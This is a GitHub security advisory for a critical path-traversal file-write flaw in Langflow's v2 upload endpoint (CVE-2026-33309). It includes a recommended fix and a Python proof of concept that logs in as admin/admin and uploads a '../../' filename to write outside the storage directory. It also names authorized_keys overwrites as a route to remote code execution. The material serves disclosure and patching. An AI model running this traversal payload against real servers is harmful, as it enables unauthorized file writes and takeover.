GHSA-G2J9-7RJ2-GM6C

Vulnerability from github – Published: 2026-03-19 17:46 – Updated: 2026-06-06 00:55
VLAI
Summary
Langflow has an Arbitrary File Write (RCE) via v2 API
Details

Summary

While reviewing the recent patch for CVE-2025-68478 (External Control of File Name in v1.7.1), I discovered that the root architectural issue within LocalStorageService remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer ValidatedFileName dependency.

This defense-in-depth failure leaves the POST /api/v2/files/ endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).

Details

The vulnerability exists in two layers:

  1. API Layer (src/backend/base/langflow/api/v2/files.py:162): Inside the upload_user_file route, the filename is extracted directly from the multipart Content-Disposition header (new_filename = file.filename). It is passed verbatim to the storage service. ValidatedFileName provides zero protection here as it only guards URL path parameters.
  2. Storage Layer (src/backend/base/langflow/services/storage/local.py:114-116): The LocalStorageService uses naive path concatenation (file_path = folder_path / file_name). It lacks a resolve().is_relative_to(base_dir) containment check.

Recommended Fix:

  1. Sanitize the multipart filename before processing:
from pathlib import Path as StdPath
new_filename = StdPath(file.filename or "").name # Strips directory traversal characters
if not new_filename or ".." in new_filename:
    raise HTTPException(status_code=400, detail="Invalid file name")
  1. Add a canonical path containment check inside LocalStorageService.save_file to permanently kill this vulnerability class.

PoC

This Python script verifies the vulnerability against langflowai/langflow:latest (v1.7.3) by writing a file outside the user's UUID storage directory.

import requests

BASE_URL = "http://localhost:7860"
# Authenticate to get a valid JWT
token = requests.post(f"{BASE_URL}/api/v1/login", data={"username": "admin", "password": "admin"}).json()["access_token"]

# Payload using directory traversal in the multipart filename
TRAVERSAL_FILENAME = "../../traversal_proof.txt"
SENTINEL_CONTENT = b"CVE_RESEARCH_SENTINEL_KEY"

resp = requests.post(
    f"{BASE_URL}/api/v2/files/",
    headers={"Authorization": f"Bearer {token}"},
    files={"file": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, "text/plain")},
)

print(f"Status: {resp.status_code}") # Returns 201
# The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt`

Server Logs:

2026-02-19T10:04:54.031888Z [info     ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.
2026-02-19T10:05:51.792520Z [info     ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.

Docker cntainer file:

user@40416f6848f2:~/.cache/langflow$ ls
3668bcce-db6c-4f58-834c-f49ba0024fcb  profile_pictures  secret_key  traversal_proof.txt

Impact

Authenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite .ssh/authorized_keys to achieve full Remote Code Execution on the host server.

Severity
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.2.0"
            },
            {
              "fixed": "1.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33309"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-284",
      "CWE-73",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T17:46:43Z",
    "nvd_published_at": "2026-03-24T13:16:02Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nWhile reviewing the recent patch for **CVE-2025-68478** (External Control of File Name in v1.7.1), I discovered that the root architectural issue within `LocalStorageService` remains unresolved. Because the underlying storage layer lacks boundary containment checks, the system relies entirely on the HTTP-layer `ValidatedFileName` dependency.\n\nThis defense-in-depth failure leaves the `POST /api/v2/files/` endpoint vulnerable to Arbitrary File Write. The multipart upload filename bypasses the path-parameter guard, allowing authenticated attackers to write files anywhere on the host system, leading to Remote Code Execution (RCE).\n\n### Details\nThe vulnerability exists in two layers:\n\n1. **API Layer (`src/backend/base/langflow/api/v2/files.py:162`)**: Inside the `upload_user_file` route, the `filename` is extracted directly from the multipart `Content-Disposition` header (`new_filename = file.filename`). It is passed verbatim to the storage service. `ValidatedFileName` provides zero protection here as it only guards URL path parameters.\n2. **Storage Layer (`src/backend/base/langflow/services/storage/local.py:114-116`)**: The `LocalStorageService` uses naive path concatenation (`file_path = folder_path / file_name`). It lacks a `resolve().is_relative_to(base_dir)` containment check.\n\n**Recommended Fix:**\n\n1. Sanitize the multipart filename before processing:\n\n```python\nfrom pathlib import Path as StdPath\nnew_filename = StdPath(file.filename or \"\").name # Strips directory traversal characters\nif not new_filename or \"..\" in new_filename:\n    raise HTTPException(status_code=400, detail=\"Invalid file name\")\n\n```\n\n2. Add a canonical path containment check inside `LocalStorageService.save_file` to permanently kill this vulnerability class.\n\n### PoC\nThis Python script verifies the vulnerability against `langflowai/langflow:latest` (v1.7.3) by writing a file outside the user\u0027s UUID storage directory.\n\n```python\nimport requests\n\nBASE_URL = \"http://localhost:7860\"\n# Authenticate to get a valid JWT\ntoken = requests.post(f\"{BASE_URL}/api/v1/login\", data={\"username\": \"admin\", \"password\": \"admin\"}).json()[\"access_token\"]\n\n# Payload using directory traversal in the multipart filename\nTRAVERSAL_FILENAME = \"../../traversal_proof.txt\"\nSENTINEL_CONTENT = b\"CVE_RESEARCH_SENTINEL_KEY\"\n\nresp = requests.post(\n    f\"{BASE_URL}/api/v2/files/\",\n    headers={\"Authorization\": f\"Bearer {token}\"},\n    files={\"file\": (TRAVERSAL_FILENAME, SENTINEL_CONTENT, \"text/plain\")},\n)\n\nprint(f\"Status: {resp.status_code}\") # Returns 201\n# The file is successfully written to `/app/data/.cache/langflow/traversal_proof.txt`\n\n```\n\nServer Logs:\n```\n2026-02-19T10:04:54.031888Z [info     ] File ../traversal_proof.txt saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.\n2026-02-19T10:05:51.792520Z [info     ] File secret_image.png saved successfully in flow 3668bcce-db6c-4f58-834c-f49ba0024fcb.\n```\nDocker cntainer file:\n```\nuser@40416f6848f2:~/.cache/langflow$ ls\n3668bcce-db6c-4f58-834c-f49ba0024fcb  profile_pictures\tsecret_key  traversal_proof.txt\n```\n\n### Impact\nAuthenticated Arbitrary File Write. An attacker can overwrite critical system files, inject malicious Python components, or overwrite `.ssh/authorized_keys` to achieve full Remote Code Execution on the host server.",
  "id": "GHSA-g2j9-7rj2-gm6c",
  "modified": "2026-06-06T00:55:50Z",
  "published": "2026-03-19T17:46:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-g2j9-7rj2-gm6c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33309"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langflow-ai/langflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/langflow/PYSEC-2026-79.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Langflow has an Arbitrary File Write (RCE) via v2 API"
}



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